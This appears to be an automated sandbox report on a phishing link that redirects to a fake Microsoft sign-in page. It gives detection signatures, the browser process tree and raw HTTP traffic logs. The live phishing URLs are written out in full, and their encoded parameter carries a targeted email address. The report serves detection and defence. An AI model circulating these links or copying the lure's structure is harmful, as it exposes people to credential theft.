Edit tour

Windows Analysis Report
http://reedhawkins.watsonrealtycorp.com/shared/email/crm/clickthru.php?hash=4ff934a7bb0a81c8c46fcc9a6676fcd3&aid=81803571&return_page=http%3A%2F%2Fmartinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==

Overview

General Information

Sample URL:	http://reedhawkins.watsonrealtycorp.com/shared/email/crm/clickthru.php?hash=4ff934a7bb0a81c8c46fcc9a6676fcd3&aid=81803571&return_page=http%3A%2F%2Fmartinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82d
Analysis ID:	1629518
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

Phishing site or detected (based on various text indicators)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid T&C link found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5828 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4200 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2284,i,13450945992594996218,2547211380111920180,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6904 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://reedhawkins.watsonrealtycorp.com/shared/email/crm/clickthru.php?hash=4ff934a7bb0a81c8c46fcc9a6676fcd3&aid=81803571&return_page=http%3A%2F%2Fmartinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.8.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.9.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

• Phishing
• Compliance
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'paymentsremittance.hostingdoccentral.it.com' does not match the legitimate domain for Microsoft., The URL contains multiple subdomains and an unusual domain structure, which is a common tactic in phishing attempts., The domain 'hostingdoccentral.it.com' does not have any known association with Microsoft., The presence of 'paymentsremittance' in the URL is suspicious and could be used to mislead users into thinking it is related to financial transactions. DOM: 1.2.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.8.pages.csv, type: HTML
Source: Yara match	File source: 1.7.pages.csv, type: HTML
Source: Yara match	File source: 1.6.pages.csv, type: HTML
Source: Yara match	File source: 1.9.pages.csv, type: HTML

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 1.4

OCR Text: Microsoft Web protection scan active. Verifying... CLOUDFLARE Ten-Tw Your connection will be reviewed for security by Microsoft before access is permitted.

Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==

HTTP Parser: Number of links: 0

Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: Invalid link: Privacy statement
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: Invalid link: Privacy statement
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: Invalid link: Privacy statement
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: Invalid link: Privacy statement

Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==

HTTP Parser: <input type="password" .../> found

Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No favicon
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No favicon
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No favicon
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No favicon
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No favicon
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No favicon
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No favicon

Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No <meta name="author".. found
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No <meta name="author".. found
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No <meta name="author".. found
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No <meta name="author".. found

Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No <meta name="copyright".. found
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No <meta name="copyright".. found
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No <meta name="copyright".. found
Source: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50052 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199

Source: global traffic	HTTP traffic detected: GET /OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ== HTTP/1.1Host: paymentsremittance.hostingdoccentral.it.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: http://martinscarnes.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://paymentsremittance.hostingdoccentral.it.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://paymentsremittance.hostingdoccentral.it.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://paymentsremittance.hostingdoccentral.it.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://paymentsremittance.hostingdoccentral.it.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=91b3d7a1caf4f5fa&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: paymentsremittance.hostingdoccentral.it.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=jcf107rrqjj7cudchpj1q997rr
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=91b3d7a1caf4f5fa&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/302061580:1741115686:VPrrkfgK5Fjb68xBX7W-gDKZaVfhxReoh470mfFEUsY/91b3d7a1caf4f5fa/5xkicrhpJLPgbXgB7OFrHq4YMtqq1B0kOv3qd_ozWtM-1741117194-1.1.1.1-RFJ8sHMjvF9HpdDsoq0uhGwQ8y9rGcH_lXJLpJ_bVBmZ7XNSKqdanRu5iSufnVoL HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/91b3d7a1caf4f5fa/1741117196235/gHyoFB5px8RwHLG HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/91b3d7a1caf4f5fa/1741117196235/gHyoFB5px8RwHLG HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/91b3d7a1caf4f5fa/1741117196240/5f5179d8f005775bc0fbb7d28de578b659eef721cfc96249788452da6818c06a/3Xcn4es6iFXBdtg HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/302061580:1741115686:VPrrkfgK5Fjb68xBX7W-gDKZaVfhxReoh470mfFEUsY/91b3d7a1caf4f5fa/5xkicrhpJLPgbXgB7OFrHq4YMtqq1B0kOv3qd_ozWtM-1741117194-1.1.1.1-RFJ8sHMjvF9HpdDsoq0uhGwQ8y9rGcH_lXJLpJ_bVBmZ7XNSKqdanRu5iSufnVoL HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/302061580:1741115686:VPrrkfgK5Fjb68xBX7W-gDKZaVfhxReoh470mfFEUsY/91b3d7a1caf4f5fa/5xkicrhpJLPgbXgB7OFrHq4YMtqq1B0kOv3qd_ozWtM-1741117194-1.1.1.1-RFJ8sHMjvF9HpdDsoq0uhGwQ8y9rGcH_lXJLpJ_bVBmZ7XNSKqdanRu5iSufnVoL HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://paymentsremittance.hostingdoccentral.it.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://paymentsremittance.hostingdoccentral.it.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://paymentsremittance.hostingdoccentral.it.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://paymentsremittance.hostingdoccentral.it.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://paymentsremittance.hostingdoccentral.it.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://paymentsremittance.hostingdoccentral.it.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://paymentsremittance.hostingdoccentral.it.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
